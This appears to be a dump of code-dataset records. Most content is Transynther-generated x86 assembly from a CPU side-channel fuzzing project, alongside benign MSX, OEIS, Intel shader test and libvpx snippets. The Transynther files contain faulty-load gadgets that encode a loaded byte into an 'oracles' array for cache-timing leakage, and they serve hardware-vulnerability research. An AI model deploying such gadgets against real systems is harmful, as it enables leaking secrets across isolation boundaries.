hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
dfb36fd483871f7a0f8861ef0cdde188cee2da4e
113
asm
Assembly
samples/include.asm
wilsonpilon/msx-menu
21110eb2e93ed033ed95d80f282b869c09f3714b
[ "Apache-2.0" ]
null
null
null
samples/include.asm
wilsonpilon/msx-menu
21110eb2e93ed033ed95d80f282b869c09f3714b
[ "Apache-2.0" ]
null
null
null
samples/include.asm
wilsonpilon/msx-menu
21110eb2e93ed033ed95d80f282b869c09f3714b
[ "Apache-2.0" ]
null
null
null
org 100h ; include.asm nop include if.asm halt include if.asm ex de,hl exx ex af, af' end
8.692308
16
0.584071
3c512d3225b2f457f5d07f3de48ccd456b649be5
8,471
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_ht_st_zr_un_4k_sm_/i3-7100_9_0xca_notsx.log_16521_1103.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_ht_st_zr_un_4k_sm_/i3-7100_9_0xca_notsx.log_16521_1103.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_ht_st_zr_un_4k_sm_/i3-7100_9_0xca_notsx.log_16521_1103.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %r15 push %r8 push %rbp push %rcx push %rdi push %rsi lea addresses_WC_ht+0x1a90d, %rsi lea addresses_normal_ht+0xe7fd, %rdi clflush (%rdi) nop nop nop nop nop xor %r14, %r14 mov $70, %rcx rep movsb nop nop nop nop nop sub $63222, %rbp lea addresses_WC_ht+0x3bed, %r15 nop nop nop nop sub $32030, %rbp movl $0x61626364, (%r15) and $38923, %r14 lea addresses_WC_ht+0x29ad, %r14 nop sub %rcx, %rcx mov $0x6162636465666768, %rbp movq %rbp, %xmm5 and $0xffffffffffffffc0, %r14 vmovaps %ymm5, (%r14) nop sub %rbp, %rbp lea addresses_WC_ht+0x630d, %rsi lea addresses_WT_ht+0x16ade, %rdi xor %rbp, %rbp mov $47, %rcx rep movsq nop nop dec %rbp lea addresses_WT_ht+0xdf8d, %rsi lea addresses_WT_ht+0x1a10d, %rdi cmp $24330, %r13 mov $101, %rcx rep movsl nop nop nop nop nop sub %rcx, %rcx lea addresses_D_ht+0x1970d, %rsi nop nop add $36176, %r15 movb (%rsi), %r13b nop nop nop nop nop xor $45065, %rsi lea addresses_WT_ht+0x12b0d, %rsi lea addresses_normal_ht+0x1580d, %rdi and %r8, %r8 mov $56, %rcx rep movsq nop nop nop inc %r13 pop %rsi pop %rdi pop %rcx pop %rbp pop %r8 pop %r15 pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %r15 push %r8 push %rax push %rdi // Load lea addresses_WC+0x350d, %rdi dec %r15 movb (%rdi), %r8b nop nop nop inc %r10 // Store lea addresses_WC+0x7641, %rdi add %r12, %r12 movb $0x51, (%rdi) nop nop nop nop and %r15, %r15 // Store lea addresses_PSE+0x18f0d, %r10 nop nop add %rax, %rax movw $0x5152, (%r10) nop nop and $12505, %r15 // Store lea addresses_WC+0x170d, %r8 nop nop add $13992, %r10 movl $0x51525354, (%r8) nop nop nop sub %rdi, %rdi // Store lea addresses_RW+0x1110d, %rdi sub $11006, %r10 mov $0x5152535455565758, %r14 movq %r14, (%rdi) nop nop and %rdi, %rdi // Store lea addresses_UC+0x1e10d, %rax xor %r14, %r14 movb $0x51, (%rax) nop nop nop nop and %r12, %r12 // Store mov $0x4b393c0000000e2f, %r14 nop nop add %rax, %rax mov $0x5152535455565758, %r8 movq %r8, (%r14) inc %r8 // Load mov $0xbed, %r10 nop nop inc %r12 movups (%r10), %xmm1 vpextrq $0, %xmm1, %r14 nop nop and %rdi, %rdi // Store mov $0x2e06b100000001a5, %r10 nop nop nop nop nop cmp $52506, %r12 movw $0x5152, (%r10) nop nop and %r14, %r14 // Store lea addresses_PSE+0x1d505, %r12 add $50405, %r8 mov $0x5152535455565758, %rax movq %rax, (%r12) nop nop nop add $52622, %rax // Store lea addresses_WC+0x8115, %r12 nop nop nop nop add %r10, %r10 movb $0x51, (%r12) nop nop nop nop nop xor $43468, %rdi // Faulty Load lea addresses_RW+0x1110d, %r14 nop inc %r15 movntdqa (%r14), %xmm5 vpextrq $0, %xmm5, %r12 lea oracles, %r8 and $0xff, %r12 shlq $12, %r12 mov (%r8,%r12,1), %r12 pop %rdi pop %rax pop %r8 pop %r15 pop %r14 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 10, 'NT': True, 'type': 'addresses_WC', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_WC', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': True, 'type': 'addresses_PSE', 'size': 2, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_WC', 'size': 4, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_UC', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_NC', 'size': 8, 'AVXalign': True}} {'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_P', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_NC', 'size': 2, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_PSE', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_WC', 'size': 1, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_RW', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': True}} {'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}} {'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}} {'51': 2, '08': 3, '00': 16395, '49': 120, '48': 1} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
31.608209
2,999
0.649392
24da7e83c9cce159c066e4f62289638b2f89bcd7
4,639
asm
Assembly
Transynther/x86/_processed/NONE/_zr_xt_/i7-7700_9_0x48.log_21829_1164.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_xt_/i7-7700_9_0x48.log_21829_1164.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_xt_/i7-7700_9_0x48.log_21829_1164.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x9d35, %r10 nop cmp %rsi, %rsi mov $0x6162636465666768, %rbx movq %rbx, %xmm0 movups %xmm0, (%r10) nop nop nop nop nop sub %rdx, %rdx lea addresses_WT_ht+0x7a5, %rsi lea addresses_D_ht+0x105b5, %rdi nop sub $13011, %r12 mov $64, %rcx rep movsb xor $59832, %r12 lea addresses_D_ht+0xb5b5, %r10 clflush (%r10) nop nop nop nop add %rbx, %rbx mov (%r10), %ecx nop nop nop nop nop xor %r12, %r12 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r8 push %rax push %rbp // Faulty Load lea addresses_WT+0x165b5, %rax nop nop nop nop nop sub %rbp, %rbp movb (%rax), %r10b lea oracles, %rbp and $0xff, %r10 shlq $12, %r10 mov (%rbp,%r10,1), %r10 pop %rbp pop %rax pop %r8 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 7, 'size': 16, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}} {'39': 234, '00': 21595} 00 00 00 00 00 00 00 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
49.88172
2,999
0.661349
349a02a8900af41da746378033468cc8d81b6c98
2,984
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_17_1653.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_17_1653.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_17_1653.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r9 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0x12492, %rsi lea addresses_WC_ht+0x1d9da, %rdi nop nop nop xor %rbx, %rbx mov $92, %rcx rep movsw nop nop add %r14, %r14 lea addresses_UC_ht+0x18112, %rbp and $62813, %r9 movb $0x61, (%rbp) nop nop nop xor %r14, %r14 lea addresses_WT_ht+0x35da, %rdi and %rcx, %rcx mov $0x6162636465666768, %rbp movq %rbp, %xmm5 vmovups %ymm5, (%rdi) nop nop and %rsi, %rsi lea addresses_normal_ht+0x1ac8a, %rsi lea addresses_WC_ht+0x176fa, %rdi nop nop nop nop nop sub %rbx, %rbx mov $22, %rcx rep movsw nop nop nop sub $45848, %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r14 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r9 push %rbx push %rdi push %rdx // Store lea addresses_UC+0x169da, %r11 inc %r12 movl $0x51525354, (%r11) nop nop nop nop nop xor %r13, %r13 // Store lea addresses_WT+0x11ada, %r9 nop nop nop nop nop add $58992, %rdi movb $0x51, (%r9) inc %r12 // Store lea addresses_normal+0xfd5a, %r9 nop nop nop add $877, %rbx mov $0x5152535455565758, %rdi movq %rdi, %xmm1 movups %xmm1, (%r9) nop nop nop dec %rdx // Load mov $0x61c60d00000008d2, %rdx nop nop nop nop nop sub $59607, %rbx mov (%rdx), %edi nop nop nop nop nop sub $35346, %rdx // Faulty Load lea addresses_PSE+0x41da, %r9 nop nop nop nop nop and %rbx, %rbx mov (%r9), %r11w lea oracles, %r9 and $0xff, %r11 shlq $12, %r11 mov (%r9,%r11,1), %r11 pop %rdx pop %rdi pop %rbx pop %r9 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}} {'33': 17} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
18.534161
151
0.648458
9ed4019c8d333f0f00732f7a274ec04fe3dbe2d4
1,419
asm
Assembly
programs/oeis/182/A182415.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/182/A182415.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/182/A182415.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A182415: a(0) = 1, a(1) = 2; for n>1, a(n) = a(n-1) + a(n-2) + 4. ; 1,2,7,13,24,41,69,114,187,305,496,805,1305,2114,3423,5541,8968,14513,23485,38002,61491,99497,160992,260493,421489,681986,1103479,1785469,2888952,4674425,7563381,12237810,19801195,32039009,51840208,83879221,135719433,219598658,355318095,574916757,930234856,1505151617,2435386477,3940538098,6375924579,10316462681,16692387264,27008849949,43701237217,70710087170,114411324391,185121411565,299532735960,484654147529,784186883493,1268841031026,2053027914523,3321868945553,5374896860080,8696765805637,14071662665721,22768428471362,36840091137087,59608519608453,96448610745544,156057130354001,252505741099549,408562871453554,661068612553107,1069631484006665,1730700096559776,2800331580566445,4531031677126225,7331363257692674,11862394934818903,19193758192511581,31056153127330488,50249911319842073,81306064447172565,131555975767014642,212862040214187211,344418015981201857,557280056195389072,901698072176590933,1458978128371980009,2360676200548570946,3819654328920550959,6180330529469121909,9999984858389672872,16180315387858794785,26180300246248467661,42360615634107262450,68540915880355730115,110901531514462992569,179442447394818722688,290343978909281715261,469786426304100437953,760130405213382153218,1229916831517482591175,1990047236730864744397 add $0,1 mov $1,1 mov $2,4 lpb $0 sub $0,1 mov $3,$2 mov $2,$1 add $1,$3 lpe sub $1,4 mov $0,$1
94.6
1,245
0.861875
4374a805e85d7291b4daca2cced0194ebf38702e
470
asm
Assembly
src/intel/tools/tests/gen5/asr.asm
SoftReaper/Mesa-Renoir-deb
8d1de1f66058d62b41fe55d36522efea2bdf996d
[ "MIT" ]
null
null
null
src/intel/tools/tests/gen5/asr.asm
SoftReaper/Mesa-Renoir-deb
8d1de1f66058d62b41fe55d36522efea2bdf996d
[ "MIT" ]
null
null
null
src/intel/tools/tests/gen5/asr.asm
SoftReaper/Mesa-Renoir-deb
8d1de1f66058d62b41fe55d36522efea2bdf996d
[ "MIT" ]
null
null
null
asr.nz.f0.0(8) null<1>D -g1.6<0,1,0>D 31D { align1 }; asr.nz.f0.0(16) null<1>D -g1.6<0,1,0>D 31D { align1 compr }; asr(8) g4<1>D g5<4>D g4<4>UD { align16 }; asr(8) g11<1>.xD g5<4>.xD 0x00000002UD { align16 }; asr(8) g5<1>D g3<8,8,1>D 0x00000002UD { align1 }; asr(16) g10<1>D g6<8,8,1>D 0x00000002UD { align1 compr };
67.142857
81
0.419149
45e1a2ad3387278728633840ad239460a7185afc
8,386
asm
Assembly
third_party/libvpx/source/libvpx/vp8/encoder/x86/quantize_sse2.asm
roisagiv/webrtc-ios
953395a7d7a0922c825edb2304d2e458f3392686
[ "BSD-3-Clause" ]
1
2019-12-31T10:36:13.000Z
2019-12-31T10:36:13.000Z
third_party/libvpx/source/libvpx/vp8/encoder/x86/quantize_sse2.asm
roisagiv/webrtc-ios
953395a7d7a0922c825edb2304d2e458f3392686
[ "BSD-3-Clause" ]
null
null
null
third_party/libvpx/source/libvpx/vp8/encoder/x86/quantize_sse2.asm
roisagiv/webrtc-ios
953395a7d7a0922c825edb2304d2e458f3392686
[ "BSD-3-Clause" ]
4
2015-09-16T11:40:39.000Z
2019-06-10T01:08:46.000Z
; ; Copyright (c) 2010 The WebM project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license and patent ; grant that can be found in the LICENSE file in the root of the source ; tree. All contributing project authors may be found in the AUTHORS ; file in the root of the source tree. ; %include "vpx_ports/x86_abi_support.asm" ;int vp8_regular_quantize_b_impl_sse2( ; short *coeff_ptr, ; short *zbin_ptr, ; short *qcoeff_ptr, ; short *dequant_ptr, ; const int *default_zig_zag, ; short *round_ptr, ; short *quant_ptr, ; short *dqcoeff_ptr, ; unsigned short zbin_oq_value, ; short *zbin_boost_ptr, ; short *quant_shift); ; global sym(vp8_regular_quantize_b_impl_sse2) sym(vp8_regular_quantize_b_impl_sse2): push rbp mov rbp, rsp SHADOW_ARGS_TO_STACK 11 SAVE_XMM push rsi push rdi push rbx ALIGN_STACK 16, rax %define abs_minus_zbin 0 %define temp_qcoeff 32 %define qcoeff 64 %define eob_tmp 96 %define stack_size 112 sub rsp, stack_size ; end prolog mov rdx, arg(0) ; coeff_ptr mov rcx, arg(1) ; zbin_ptr movd xmm7, arg(8) ; zbin_oq_value mov rdi, arg(5) ; round_ptr mov rsi, arg(6) ; quant_ptr ; z movdqa xmm0, OWORD PTR[rdx] movdqa xmm4, OWORD PTR[rdx + 16] pshuflw xmm7, xmm7, 0 punpcklwd xmm7, xmm7 ; duplicated zbin_oq_value movdqa xmm1, xmm0 movdqa xmm5, xmm4 ; sz psraw xmm0, 15 psraw xmm4, 15 ; (z ^ sz) pxor xmm1, xmm0 pxor xmm5, xmm4 ; x = abs(z) psubw xmm1, xmm0 psubw xmm5, xmm4 movdqa xmm2, OWORD PTR[rcx] movdqa xmm3, OWORD PTR[rcx + 16] ; *zbin_ptr + zbin_oq_value paddw xmm2, xmm7 paddw xmm3, xmm7 ; x - (*zbin_ptr + zbin_oq_value) psubw xmm1, xmm2 psubw 